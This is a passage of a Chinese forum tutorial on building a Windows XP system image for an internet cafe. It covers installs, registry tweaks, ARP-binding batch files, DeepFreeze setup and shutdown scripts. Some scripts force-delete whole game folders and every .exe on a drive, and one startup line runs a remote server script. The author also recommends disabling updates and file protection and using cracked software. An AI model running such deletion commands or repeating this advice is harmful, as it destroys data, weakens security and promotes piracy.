Player11安装文件解压到文件夹，运行里面的wmfdist11.exe以及wmp11.exe。\nRealPlayer的设置:一定要打上屏蔽弹出广告的补丁，\n工具==\u0026gt;\u0026gt;首选项==\u0026gt;\u0026gt;修改以下几项:\n常规项:\n在启动显示上:选择仅限于播放器(无媒体浏览器)\n允许在文件夹菜单中显示历史记录列表:把勾去掉\n连接==\u0026gt;\u0026gt;网络传输:\n手动配置连接设置:\nrtsp设置:尝试为所有内容使用TCP(T)改为3000毫秒并打上勾，别的全部去掉；\nPNA设置:改成和上面一样。\n网吧如果有用到**的话，则还需要安装WebPlayer；\n如果有其他的在线影院(比如中国网吧院线等)的话则需要用Realplayer关联流媒体文件，那么最好用Realplayer及千千静听来关联视频及音频文件，暴风也无须安装了。\n③.安装王码五笔（(选择86版的)/紫光拼音输入法(选装)。\n控制面板\u0026#8212;区域和语言选项\u0026#8212;语言，仅留\u0026quot;简体中文\u0026#8211;美式键盘\u0026quot;/全拼/王码五笔/智能ABC输入法(如果是5.0的话则升级到智能ABC输入法5.22版本，不建议升级到5.23，不然玩某些游戏的时候无法看到待选字母，比如WOW等)\n更改键设置：控制面板\u0026#8212;区域和语言选项\u0026#8212;语言\u0026#8212;详细信息\u0026#8212;键设置\u0026#8212;-更改键顺序，选择CTRL+ALT切换输入语言；\n关闭语言栏:控制面板\u0026#8212;区域和语言选项\u0026#8212;语言\u0026#8212;详细信息\u0026#8212;-语言栏；\n关闭高级文字服务-：控制面板\u0026#8212;区域和语言选项\u0026#8212;语言\u0026#8212;详细信息\u0026#8211;高级；\n打上XP输入法补丁。\n④.ACDSEE/MSN7.5/QQ/QQ显IP版/新浪UC/新浪围棋/新浪UT/TS/大智慧/E话通/网易泡泡/联众世界/中国游戏在线中心/QQ游戏/QQ游戏对战平台/浩方对战平台/南极星\n可以不安装的软件，尽量不要安装。一定要注意不要把软件附带的流氓软件安装到系统中了。这些软件可以安装在非系统分区，\n联众世界似乎默认是安装在 C:Program Files 文件夹下面的，但是可以修改注册表让它可以安装在其他目录。\n[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion]\n\u0026quot;ProgramFilesDir\u0026quot;=\u0026quot;C:\\Program Files\u0026quot;\n把\u0026quot;ProgramFilesDir\u0026quot;的值修改为其他非系统分区的路径，比如按照我提供的分区思路，可以修改为E:\\Program Files。再安装联众世界的话，就可以改动到E盘的Program Files目录下了。\nQQ游戏对战平台记得与QQ游戏关联，QQ游戏记得与QQ关联。(都登陆运行次就可以了)\n关于QQ的超级视频问题：先装好QQ，再在视频设置里把始终使用普通模式勾上，完成后关掉QQ，找到QQ目录下面的vqqset.dll这个文件，删掉，接视频不再占网速。\nQQ的减肥以及个性化登陆界面的制作，自己去找资料把，网上很多的，酌情处理。\nQQ游戏/联众世界/中国游戏在线中心等记得升级常用的游戏。浩方对战平台/QQ游戏对战平台 记得设置好CS1.5/CS1.6/星际/魔兽/红警等游戏的路径。\n⑤. 从其他的硬盘或者游戏主机拷网络游戏及单机游戏过来（建议挂从盘拷贝，速度相对来说快得多，推荐使用TotalCmd或者TotalCopy拷文件，不要 同时进行多个任务，以便尽量保证文件的连续性），单机游戏建议拷至E盘，网络游戏拷至D盘。(为了结合目前许多的带还原保护游戏更新软件使用，建议网络游 戏放D盘)\n⑥.运行所有的单机游戏，导入单机游戏注册表或者破解补丁的，确保所有的单机游戏能够正常运行，调节CS1.5的视频设置为 OPENGL加速，800*600，CS1.6及魔兽争霸也需要进行一些小的地方的设置，红警打上联机补丁，最好进入游戏，在选项\u0026#8211;网路\u0026#8211;网路卡 里面，将里面的网路卡设置改为第2项或者第3项。\n⑦.导入劲舞团/劲乐团注册表补丁，网络游戏全部运行测试并且升级。\n⑧GHOST做备份。\n四.一些细节方面的设置：(没有一定顺序，如果你对有些设置或者操作没有把握，请先做个GHOST备份以便操作失误恢复)\n1.删除多余文档\n帮助文件：在C:WindowsHelp目录下。(建议)\n驱动备份：C:Windowsdriver cachei386目录下的Driver.cab文件。(不建议)\n系统文件备份： 一般用户是不怎么用的，利用命令sfc.exe /purgecache删除。(建议)\n备用的dll文件:在C:Windowssystem32dllcache目录下(不建议)\n2.删除WindowsXP中隐含的组件(没有什么必要)\nWindows XP在正常安装之后，会自动安装许多组件，这些组件有许多是平时用不到的，安装在系统中会占用很多空间，降低系统性能，我们可以用下述方法删除不用的组 件。用记事本修改C:WindowsInf目录下的Sysoc.inf文件，用查找/替换功能，在查找框中输入\u0026ldquo;,hide\u0026rdquo;（,个英文逗号紧跟 hide），将\u0026ldquo;替换为\u0026rdquo;框设为空。并选全部替换，这样，就把所有的\u0026ldquo;,hide\u0026rdquo;都去掉了\n，存盘退出，再单击\u0026ldquo;开始/控制面板/添加或删除程序\u0026rdquo;,就可以看到许多平时见不到的组件，选择不需要程序进行删除即可。\n3.删除多余字体(不推荐)\nC:Windowsfont目录，根据需要选择一些字体,把没有必要的删除.我是不怎么推荐精简系统的，除了一些必要的精简外，(其实还可以用nLite来精简系统的)。\n4.取消XP自带的压缩文件夹工具：\n点击开始\u0026mdash;\u0026gt;运行，敲入： regsvr32 /u zipfldr.dll 然后回车即可。\n去除XP自带图片预览功能：Regsvr32 /u Thumbvw.dll\n5.一些\u0026ldquo;常规\u0026rdquo;的设置：\n去除屏幕保护程序;\n把电源设置里面的关闭监视器设为无，把休眠关闭;\n屏幕刷新率设为75或以上，锁定刷新率,所以有显卡的服务的可以关掉;\n锁定刷新率注册表\n[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass{4D36E96E-\nE325-11CE-BFC1-08002BE10318}000MODES1024,768]\n\u0026quot;Mode1\u0026quot;=\u0026quot;85-85,85-85\u0026quot;\n关掉显卡的垂直同步，去掉显卡鼠标右键菜单;\n去除60天运行桌面清理选项;\n关闭驱动程序签名;\n关闭系统默认共享;\n修改视图模式：在任意文件夹中点鼠标右键，选择\u0026#8212;查看\u0026#8211;图标，然后再选择\u0026quot;文件夹选项\u0026quot;\u0026#8212;\u0026quot;查看\u0026quot;\u0026#8212;-\u0026quot;应用到所有文件夹\u0026quot;\n关闭远程桌面：\u0026quot;我的电脑\u0026quot;-\u0026gt;\u0026quot;属性\u0026quot;-\u0026gt;\u0026quot;远程\u0026quot;，\u0026quot;远程桌面\u0026quot;里的\u0026quot;允许用户远程连接到这台计算机\u0026quot;勾去掉;\n设 置启动与故障恢复，把显示操作系统列表勾去掉，系统失败下的各选项勾去除，把写入调试信息设为无，关闭自动更新功能;控制面板\u0026#8212;-\u0026gt;系统\u0026#8212; -\u0026gt;高级(下面个)\u0026#8212;-\u0026gt;显示操作系统列表时间\u0026quot;以及\u0026quot;在需要时显示恢复选项的时间\u0026quot;前的勾去掉,\u0026quot;发送管理警报\u0026quot;和\u0026quot;自动重新启动\u0026quot;前 的勾去掉,\u0026quot;写入调试信息\u0026quot;设置为\u0026quot;无\u0026quot;;\n关闭错误报告：控制面板\u0026#8212;-\u0026gt;系统\u0026#8212;-\u0026gt;高级\u0026#8212;-\u0026gt;错误报告\u0026#8212;-\u0026gt;禁用错误汇报――确定;\n视觉效果：控制面板\u0026#8212;-\u0026gt;系统\u0026#8212;-\u0026gt;高级(上面个)\u0026#8212;-\u0026gt;设置\u0026#8212;-\u0026gt;\u0026quot;调整为最佳性能\u0026quot;;如果有用到壁纸的话，则选\u0026quot;自定义\u0026quot;:选中在桌面为图标标签使用阴影/在窗口或者按纽上使用视觉样式(可选);\n虚拟内存：建议设置在非系统分区，设置虚拟内存前先整理该分区的磁盘碎片确\n保 虚拟内存的连续性。虚拟内存设置为物理内存的2\u0026#8211;3倍;至于网上有朋友提供的测试虚拟内存的方法，没有去试过。我曾经使用过双虚拟内存，在C盘分 512M-512的虚拟内存出来，并且再在其他分区设置另外个物理内存2\u0026#8211;3倍大小的虚拟内存，不知道这个方法对系统的性能是有利还是有弊。\n6.IE:\n常规页：\n清除COOKIES\u0026#8211;删除文件\u0026#8211;清除历史纪录\u0026#8211;移动IE缓存设置大小.\n内容：自动完成\u0026#8212;清除表单\u0026#8211;清除密码，去掉\u0026quot;web地址\u0026quot;/\u0026quot;表单\u0026quot;/\u0026quot;表单上的用户与密码\u0026quot;前面的勾。\n连接：去掉\u0026ldquo;检查Internet Explorer是否为默认浏览器\u0026rdquo;选项。\n高级：点还原默认设置，然后去掉\u0026ldquo;自动检查Internet Explorer更新\u0026rdquo;，其他的我没有去修改了。\n防止主页被更改\u0026gt;创建C:Program FilesInternet ExplorerIEXPLORE.EXE的快捷方式到桌面,在\u0026quot;目标\u0026quot;中的路径后面空一格加上 -nohome . 免疫常见的插件：Upiea及兔子/优化大师等都带有免疫的功能。\n7.文件夹选项\u0026#8212;常规\u0026#8212;使用WINDOWS传统风格\n查看\u0026#8212;（勾选的项）不缓存缩略图/鼠标指向文件夹或桌面项时显示\u0026rdquo;\n开始菜单：使用经典开始菜单\n任务栏：锁定任务栏/将任务栏保持在其他窗口的前端/显示快速启动/显示时钟。\n8.组策略(gpedit.msc)：禁用定期检查IE更新，禁止所有驱动器自动播放，关闭用户跟踪，不要保留文档记录，退出时清除文档记录，禁用Active Desktop,\n9.修改SHEDLL32文件，防止删除/格式化\n先复制C:windowssystem32shell32.dll文件出来，放到两个目录作2份分开保存。\n用eXeScope打开其中一个复制出来的shell32.dll，\n禁止删除\n资源\u0026#8211;对话框\u0026#8212;1011 资源\u0026#8211;对话框\u0026#8212;1012 资源\u0026#8211;对话框\u0026#8212;1013 资源\u0026#8211;对话框\u0026#8212;1021 资源\u0026#8211;对话框\u0026#8212;1022 禁用其中的\u0026quot;是\u0026quot;和\u0026quot;全部\u0026quot;按钮。\n禁止格式化\n资源\u0026#8211;对话框\u0026#8212;28672\n将开始前面的勾去掉。\n如果要禁止查找目标，则修改资源\u0026#8211;对话框\u0026#8212;1040\u0026#8220;\n确认修改好以后，重新启动进MAXDOS替换\n进纯DOS模式\n在命令提示符下面输入：NTFSDOS，然后输入D：\ncd windows\ncd system32\ncopy 你修改的shell32文件的绝对路径shell32.dll(注意，NTFS格式的磁盘在DOS下面的盘符将依次向后退一位，比如C盘的盘符就是D，若存在一个FAT分区的话，好象要多退一位)\n然后按Y，就可以了。替换shell32.dll最好在系统制作将结束时再进行。\n10.病毒的免疫\n①arp病毒的免疫：\n1.WINPCAP的免疫\n如果系统中有下列文件的话，则将下列文件加上系统/只读/隐藏属性并且将该文件安全选项中的所有用户删除。\nC:WINDOWSsystem32wpcap.dll C:WINDOWSsystem32pthreadVC.dll\nC:WINDOWSsystem32packet.dll\nC:WINDOWSsystem32npptools.dll\nc:windowssystem32driversnpf.sys,\n如果没有的话则建立上述的系统假文件并且再执行以上的操作，可以用类似的批处理来做到，但是文件安全选项中的所有用户必须手动删除。\nmd %systemroot%system32wpcap.dll\nattrib +r +s +h +a %systemroot%system32wpcap.dll\ncacls%systemroot%system32wpcap.dll /T /E /C /R EVERYONE ADMINISTRATORS SYSTEM GUEST USERS USER\n2.做绑定本机的IP与MAC及绑定网关IP的与网关MAC批处理并且设置开机启动，为了去掉黑框，可用VBS执行批处理。\n绑定网关的批处理\n@echo off\narp -d\u0026amp;arp -s 你的网关 网关的MAC\nexit\n绑定本机的批处理\n@echo off\nif exist ipconfig.txt del ipconfig.txt\nipconfig /all \u0026gt;ipconfig.txt\nif exist phyaddr.txt del phyaddr.txt\nfind \u0026quot;Physical Address\u0026quot; ipconfig.txt \u0026gt;phyaddr.txt\nfor /f \u0026quot;skip=2 tokens=12\u0026quot; %%M in (phyaddr.txt) do set Mac=%%M\nif exist IPAddr.txt del IPaddr.txt\nfind \u0026quot;IP Address\u0026quot; ipconfig.txt \u0026gt;IPAddr.txt\nfor /f \u0026quot;skip=2 tokens=15\u0026quot; %%I in (IPAddr.txt) do set IP=%%I\narp -s %IP% %Mac%\ndel ipaddr.txt\ndel ipconfig.txt\ndel phyaddr.txt\nexit\n去黑框的VBS(如跟批处理同目录，则只需修改批处理的名称)\nDim Wsh\nSet Wsh = WScript.CreateObject(\u0026quot;WScript.Shell\u0026quot;)\nWScript.Sleep(0000)\nWsh.Run \u0026quot;批处理的名称.bat\u0026quot;,0,True\nSet Wsh=NoThing\nWScript.quit\n至于修改注册表的阕值等，没有去修改了，客户机做到这些，路由器再进行绑定实现双绑，应该可以防御一般的ARP攻击了，如果不是恶意的攻击(一些已知的恶意攻击软件可以通过注册表或者组策略屏蔽掉,比如OK.EXE等)\n②已知病毒的免疫以及有些危害性极大的病毒的免疫\n通过注册表或者组策略免疫常见的病毒以及一些BT类/破坏类软件，网上有朋友做出来这个注册表补丁了的，可以免疫1000多种病毒\n重点免疫威金/熊猫/SXS等病毒，建立相关的假病毒文件，加属性去权限。\n也可以建立假的一些恶意的流氓软件文件，加属性去权限。\n通过IP安全策略关闭一些病毒木马的端口以及一些危险的端口，比如445/139等\n用禁止窗口标题的程序自己添加需要禁止的窗口标题并且设置开机启动。\n相关的程序我已经随贴发了上来。\n11.一些个性化的设置\n①.个性的OME设置：可以用OME-DIY等软件来修改\n也 可以自己编辑张图片，设置大小为120*120像素，文件保存为OMELOGO.bmp，然后粘贴至c:windowssystem32目录替换原 来的文件然后自己从c:windowssystem32文件夹下面复制OEMINFO.INI或者直接编辑里面的内容，大致的内容如下：\n[Version]\nMicrosoft Windows XP Professional\nWinVer=5.01\n[General]\nManufacturer=深蓝网吧 Model=深蓝网吧专用操作系统\n[Support Information]\nLine1=深蓝网吧专用操作系统\nLine2=电话 : \u0026#8230;\u0026#8230;.. Line3=制作：杨康 QQ：45812822\n可以添加Line4/Line5\u0026#8230;..line?.按照格式写就是了.\n②.开关机画面的修改\n推荐使用 TuneUp Utilities 2006 简单易用，运行TuneUp Utilities 2006 ，选择 自定义分析\u0026#8212;-TuneUp艺术风格2\u0026#8212;-引导画面\u0026#8212;画面，就可以编辑XP的开机画面了(滚动条处)也可以从软件的官网下载更多的漂亮的开机画面；\n选 择 自定义分析\u0026#8212;-TuneUp艺术风格2\u0026#8212;-欢迎画面，就可以更改系统的登陆与关机画面，但是这里只能使用软件提供的登陆画面，无法自定义编辑。你 可以去软件的官网下载许多精美的登陆画面，推荐使用relax_logon.tls，我一直用的这个。还可以用Logon Loader/XP LogMod v2.0等软件修改登陆画面，也许可以做出你自己的风格。\n③自定义文件夹背景\n自定义IE工具栏，个性化IE工具栏等\n我不一一介绍了，请参考附件。\n五.系统的维护与游戏更新设置\n1. 将IP修改工具/收费软件/还原软件等工具放在同一个文件夹内，如果有必须设置的参数，则设置好，比如使用自动根据MAC修改IP与机器名的工具，则先设 置好相关的参数以及想对应的MAC与IP地址。如果使用冰点还原软件的话，则可以使用批处理的模式安装，预先做好批处理，比如\n@echo off\nnet time \\server /set /y\u0026amp;\nC:ipDF6.00.020.1523.exe /install /pw=5757124 /reboot /freeze=c:,e,\n先同步服务器的时间，冰点安装后是无法更改系统时间的，至少我不知道怎么改\u0026#8220;但是我们可以预先调整系统的时间\nC: ipDF6.00.020.1523.exe为DF的路径推荐使用6.0以上的，我是用的单机版，网络版或许维护更加方便些。/install为安装 的意思，/pw=5757124 设置DF的密码为5757124 /reboot 不管它，表示安装完重新启动的把，/freeze=c:,e,表示保护C盘跟E盘盘符之间用逗号隔开。\n把这个批处理命名为DF或 者任意名字放到WINDOWS目录中，就可以在运行中输入批处理的名字(无须后缀)调用这个命令安装DF，WINDOWS根目录下面的所有文件都可以通过 运行栏输入文件的名字调用，所以我们可以利用这一点让我们维护更轻松，我之前发布了相关的帖子的，可惜看得懂的人不多\u0026#8220;比如把修改IP的程序创建个快捷 方式命名为IP，然后放到WINDOWS根目录下面，我们就可以在运行中输入IP直接运行IP修改程序了。其他的都是一样的道理，举一反三，我就不一一介 绍了，我制作的系统中集成了几十个自定义的这种命令，真的很实用，相关的快捷尽量用该程序的谐音来命名，方便自己记忆，比如XSPZ=讯闪配置，XS=讯 闪 rm=影子等。\n2.桌面的快捷方式不要太多，快捷方式的图标尽量指向同一个DLL文件；\n桌面放QQ/QQ游戏/浩方/联众/游戏菜单/电影主页/留言薄/网络硬盘 等快捷方式就够了，删除网上邻居图标。\n拿网吧的其中一台主机做个留言薄，能够更好的与顾客之间沟通与交流。\n顾客存档区我用的桃源网络硬盘（http://www.mytaoyuan.com/），WEB形式的，很不错。\n在开机的绑定MAC的批处理中加一个预留维护通道，比如\n@echo off\narp -d 2\u0026gt;nul\u0026amp;arp -s 192.168.0.1 00-22-aa-5d-63-81\nping 127.0.0.1 -i 5 \u0026gt;nul\nstart \\Serverpc80run.vbs\nexit\nstart \\Serverpc80run.vbs表示开机执行服务器的一个VBS，这个VBS再调用服务器的一个批处理通过这个批处理我们可以做很多事情，换桌面壁纸/同步桌面的图标/一些系统的小修补等\nping 127.0.0.1 -i 5 \u0026gt;nul，表示延时5秒钟执行.\n3.关于游戏更新的思考\n①最近出了很多针对游戏更新而出的还原软件，比如VD/过滤盾/讯闪的虚拟还原等，但是似乎都有一些缺陷或者漏洞，所以我干脆什么都不用，而是采用了一个简单的方法来保护自己的游戏盘(还原软件不保护)。还原软件用冰点，只保护C跟E盘。\n游戏更新采用讯闪(任何对比更新的软件都可以)\n游戏菜单在E盘，保护分区，调用程序也放保护分区，网络游戏在D盘的\u0026quot;网络游戏\u0026quot;目录中。\n讯闪的对比更新就略过了。\n先把从网上得到的一个排除删除脚本(天下网盟的黑火大哥写的)编辑好：\nDim fdrpath\nfdrpath = \u0026quot;D:网络游戏\u0026quot; \u0026#8216;此处定义你的路径，如果你想删除E盘Games目录下\n的多余文件请填E:Games\nDelfdr(fdrpath)\nsub Delfdr(folderspec)\n\u0026nbsp;\u0026nbsp; Dim fso, f, f1, fc, foldername, f2, ff, filename\n\u0026nbsp;\u0026nbsp; Set fso = CreateObject(\u0026quot;scripting.FileSystemObject\u0026quot;)\n\u0026nbsp;\u0026nbsp; Set f = fso.GetFolder(folderspec)\n\u0026nbsp;\u0026nbsp; Set fc = f.SubFolders\n\u0026nbsp;\u0026nbsp; For Each f1 in fc\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; foldername = LCase(f1.name)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Select Case foldername\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Case \u0026quot;大话西游onlineII\u0026quot; \u0026#8216;排除目录里面不管。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Case \u0026quot;魔兽世界\u0026quot; \u0026#8216;同上\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Case \u0026quot;梦幻西游\u0026quot;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Case \u0026quot;劲舞团\u0026quot;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Case \u0026quot;\u0026quot;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Case \u0026quot;\u0026quot;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Case \u0026quot;\u0026quot;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Case Else\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; f1.Delete(True)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; end Select\n\u0026nbsp;\u0026nbsp; Next\n\u0026nbsp;\u0026nbsp; Set ff = f.Files\n\u0026nbsp;\u0026nbsp; For Each f2 in ff\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; f2.Delete(True)\n\u0026nbsp;\u0026nbsp; Next\nSet FSO=NoThing\nEnd sub\n为了不占更多的篇幅\u0026#8220;我在这里没有列举完，也就是说如果你想排删除 D:网络游戏 目录下面的多余文件，那么就在脚本里面把所有的需要排除的目录按照 Case \u0026quot;梦幻西游\u0026quot;\nCase \u0026quot;劲舞团\u0026quot;\nCase \u0026quot;\u0026quot;\nCase \u0026quot;\u0026quot;\nCase \u0026quot;\u0026quot;\n编辑好，编辑好以后，运行这个VBS脚本，则会自动删除脚本中没有编辑在排除列表内的目录。\n然后再做一个排除删除D盘根目录多余文件的脚本(其实天下网盟的斑竹猪脑壳大哥写了个多路径排除删除的文件的程序，可以把几项操作集在一起的，我后来才找到这个程序)。\n脚本编辑好以后，运行gpedit.msc，选择计算机配置\u0026#8212;-WINDOWS设置\u0026#8212;脚本(启动/关机)，选择右边的\u0026quot;关机\u0026quot;，然后点添加，再点浏览选择刚才做好的2个排除删除脚本。选择关机的时候运行脚本是为了不占用系统启动的时间。\n这2个脚本建议放在D盘一隐藏目录(记得在排除删除D盘根目录多余文件脚本中把自己本身的目录排除出来),以便添加游戏时通过系统的预留维护通道来更新排除脚本的内容。\n排除删除脚本不会排除大写的目录。所以游戏目录的名字不要带大写的字母\n如果脚本无法运行的话请先安装xp运行脚本程序VBS补丁\u0026gt;如果安装了还是无法运行的话，则在运行中输入 regsvr32 scrrun.dll\u0026gt;\n如果运行了命令还无法删除的话，则请看你排除删除的目标文件夹是否有当前用户的删除权限，如果没有，则在目标文件夹的安全选项卡上添加你的当前用户进去并且赋予相应的权限，有时候目标文件夹的文件过多的话，也许回稍微等待一点时间。\n②QQ也放 D:网络游戏 目录，用讯闪的原调用做的对比更新,把原调用快捷方式的图标改成QQ的图标就是了\n:\n[更新]\n远程目录=\\server网络游戏QQ\n本地目录=D:网络游戏QQ\n执行文件=D:网络游戏QQQQ.exe\n\u0026#8216;下面请勿修改\n[辅助]\n调用程序名=原调用.exe\n③. 虽然排除删除了多余文件，但是D盘还是有可能被病毒感染，一般病毒病毒破坏的都是执行文件把，那么我们在开机的批处理里面再加上一条命令自动删除D盘所有 的EXE文件，我是这么做的，这个批处理加在关机的脚本中也许更合适把，因为操作会占用一点时间，但是关机稍微慢点总比开机慢的好。\ndir /a /s /b d:网络游戏*.exe \u0026gt; c:exe列表.txt \u0026gt;nul\nfor /f %%i in (c:exe列表.txt) do del /q /f /a %%i\u0026gt;nul\nexit\n把上面的批处理命名为del.bat\n放D盘的脚本目录，在脚本目录下再建立个del.vbs如下\nDim Wsh\nSet Wsh = WScript.CreateObject(\u0026quot;WScript.Shell\u0026quot;)\nWScript.Sleep(0000)\nWsh.Run \u0026quot;del.bat\u0026quot;,0,True\nSet Wsh=NoThing\nWScript.quit\n然后在关机脚本中添加一条就是了。\ngpedit.msc\u0026#8212;计算机配置\u0026#8212;-WINDOWS设置\u0026#8212;脚本(启动/关机)，选择右边的\u0026quot;关机\u0026quot;，然后点添加，浏览，选择脚本目录中的del.vbs。\n还可以在 gpedit.msc\u0026#8212;用户配置\u0026#8212;-WINDOWS设置\u0026#8212;脚本(登陆/注销)设置登陆或者注销(效果都一样)执行这3个脚本。\nVBS排除删除脚本在没有编辑好之前请勿设置排除目录以防误操作。\n这 种操作相对来说比较安全，服务器的安全就是客户机的安全，所以确保服务器的安全性是很重要的，尽量安装一款强大的杀毒软件(我习惯用NOD32/卖咖啡/ 诺顿企业版)保障服务器的安全。客户机理论上是可以不安装杀毒软件的，如果安装的话可以装一款PF值占用低能够防御一般病毒的软件。\n为了防止服务器挂掉而出现所有的游戏无法运行，可以在网吧内设置一台机器不加入排除删除脚本，全保，并且随时取消保护更新常用的游戏以便做应急服务器用。\n还 有可以利用WINRAR来轻松的备份D盘目录下的所有EXE文件：新建一个RAR文件，然后点添加加，再选择刚才新建的RAR文件，点确定，再点文件，清 空要添加的文件栏的内容再输入D:*.EXE，再点确定，就可以备份D盘所有的EXE文件，并且还维持了D的目录结构保存所有的EXE文件。我们可以将 做好的RAR文件做成自解压补丁的形式或者再把RAR文件解压出来按照目录分别制做应急EXE补丁。这个工作应该是在主机进行的，因为游戏的EXE文件也 是随时更新着的，备份好的EXE文件及时的保存在应急的客户机或者其他服务器上去，也许是多余的，但是尽量做到有备无患。\n然后GHOST备份，VBS脚本请在最后做最终GHOST的时候再加入。\n六.优化与GHOST前的准备\n关于优化的概念网上的思路林林总总，其实我觉得没有必要作过度的优化\n1.关于服务 SERVER服务一定要关，建议开启的\nPlug and Play\nRemote Procedure Call (RPC)\nWindows Audio\nWindows Management Instrumentation\nWorkstation\nServer\nNetwork Connections\n下面3个服务是系统事件通知,相互有关系,关了event log系统无法启动.其他的2个是给event log返回消息的,可以关,但是系统日志会一直说有错误!\nsys Event Notification\ncom+ event system\nEvent Log\n如果使用串口硬盘的话，建议把Shell Hardware Detection服务开启，这样你会发现你打开文件夹特别是放了很多快捷方式的文件夹的时候快得多。如果把自动播放类病毒用建立假文件加属性去权限的方法免疫，我想开了这个服务也不用担心自动放类的病毒。\n2.优化我推荐使用优化大师或者超级兔子自动优化，然后再加上些注册表的优化比如\n不加载多余的DLL文件\n关闭程序仅等待1秒\n加快菜单显示速度\n减少开机滚动条滚动次数\n清除共享文件夹\n关闭文件保护\n取消快捷方式的箭头\n缩短XP的开关机的等待时间\n自动关闭停止响应的程序\n删除打印机及计划任务加快局域网共享的浏览\n异常启动时磁盘扫描禁用\nSP2系统的话安装UPCLEAN\u0026#8211;用户配置文件清离服务\nSP2最好启用DCOM服务。\nMicrosoft.BootVis.v-据说是微软内部提供的用于加速WindowsXP的软件，用了也不曾看见有什么效果\u0026#8220;提下而已，不推荐。\nSystem Mechanic 5 Professional跟TuneUp Utilities是国外的几款不错的优化软件，可以用来修改系统中的一些细节，但是不推荐用来优化系统。\n我 想优化大师或者超级兔子应该才是真正的符合国情的优化软件，或者WINXP总管，但是必须安装 NET Framework才可以使用，我一般不用。优化系统用优化大师或者超级兔子其中一个就可以了，不要同时用，也许会有冲突，相同的系统设置，在一款软件上 已经做了设置了，就无须在另外的软件再做相同的处理。\nTweak Utilities也是一款不错的系统调校工具，诸如此类的软件很多，不一一介绍了。\n3.所有的优化做完以后，\n把虚拟内存设置成无，重新启动\n然后安装VOTEXP或OODefrag进行磁盘碎片整理，System Mechanic 5 Professional也带有不错的磁盘整理功能，整理完毕后，再用WINDOWS自带的磁盘整理全盘整理下。\n磁盘整理时母盘若有GHO文件最好先移到其他硬盘以免占用更多的时间，虚拟内存也设置成无，不然这2个就是最大的碎片文件。\n我 推荐先安装VOTEXP，因为他整理的速度够快，可以整理个大概，然后安装OODefrag，OODefrag有多种整理的模式，按文件/按空间/按访问 等，如果你时间够充足的话，推荐按文件整理，一般的话按空间整理就够了，OODefrag整理完毕后，记得停用它的服务。\n4.现在我们可以在组策略里面加入排除删除的脚本进去，然后在开机启动项里面加入个批处理的快捷方式ip.lnk如下：\n@echo off\ndel \u0026quot;C:Documents and SettingsAdministrator「开始」菜单程序启动ip.lnk\u0026quot;\u0026amp;\ncopy /y c:ipdf.lnk C:Docume~1Admini~1「开始」菜单程序启动df.lnk\u0026amp;\nC:ipip.exe\u0026amp;\nC:ipIKB_V6客户端全自动安装.exe\u0026amp;\nexit\n这 个批处理启动后自动删除它在启动项的文件并且复制自动安装DF批处理的快捷方式到启动项然后自动修改IP与机器名并且自动安装收费软件，然后重新启动， IKB自动安装的程序有这个功能，如果你是其他的软件，则需要加上条自动重启的命令 %windir%system32shutdown.exe -r -t 00。\nC:ipip.exe为根据MAC地址自动修改IP机器名的工具\nC:ipIKB_V6客户端全自动安装.exe是一个朋友写的自动安装重庆地区收费软件的AU3脚本，重庆地区的朋友要的话，可以找我.\ndf.bat内容如下\n@echo off\ndel \u0026quot;C:Documents and SettingsAdministrator「开始」菜单程序启动df.lnk\u0026quot;\u0026amp;\nnet time \\server /set /y\u0026amp;\nC:ipDF6.00.020.1523.exe /install /pw=5757124 /reboot /freeze=c:,e,\nexit\n加 上\u0026amp;参数是让批处理忽略错误继续进行下一个命令操作。再用系统自带的磁盘整理整理下系统盘，做GHOST。这个GHOST是最终的GHOST了， 这时候可以将备份的GHOST文件删除掉，然后保留一个你认为比较重要的GHOST，以后你想重新做系统，就可以用这个GHOST来修改了。\n5. 如果你将GHOST文件放在非保护分区的话为了安全起见，推荐做完GHOST进系统后将文件的后缀去掉，一是防止熊猫，二是为了防止有人恶意破坏，我想这 招跟给GHOST文件加密码更绝把\u0026#8220;放在保护分区也最好去掉后缀，为恶劣防止别人破坏，恶意恢复系统\u0026#8220;修改后缀以后，自己记得路径就是了，恢复 GHOST的时候，浏览到GHOST文件保存的目录，直接输入GHOST文件的名字，一样可以恢复系统。\nGHOST完记得设置虚拟内存。\n七. 母盘最好多测试几天，等确认没有什么问题的时候再进行大面积的GHOST，以前做维护的时候，给很多网吧做系统都不准用网克，怕影响网吧的速度，其实如果 网刻的话，可以在一个交换机环境下面GHOST，GHOST主机也在这个交换机内，再把交换机的外网拔掉，这样网克的话也许就不会影响整个网络的速度了。\n我还用了锐起磁盘共享精灵，客户端用批处理加VBS做的绿色启动。以前曾经发过相关的帖子，在此就不提及了。锐起磁盘共享精灵破解版对于中小型网吧来说是个不错的选择\n如 果你觉得我这个方法可行，不妨按照我提供的思路来制作个系统看看，也许有些地方你可以借鉴的，但是不要一味的模仿。如果要发布一个GHOST或者封装的系 统，我想我或许也会做得有模有样\u0026#8220;\u0026#8220;`但是我不想做，授人与鱼不如授人与渔。与其做个系统给大家研究，不如把自己系统制作的一些思路拿出来与大家分 